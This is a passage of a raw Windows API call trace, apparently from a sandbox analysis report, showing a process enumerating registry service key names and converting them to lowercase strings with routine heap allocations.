(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.864] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.864] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.864] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.865] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0258.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0258.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.865] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0258.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0258.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.865] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0258.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0258.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.865] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.866] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.866] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.866] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0258.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.867] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0258.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0258.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.867] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0258.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0258.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.867] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0258.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0258.867] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.867] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.867] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.868] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.868] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.868] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.868] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.868] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.869] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.869] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.869] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0258.869] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.869] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.869] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 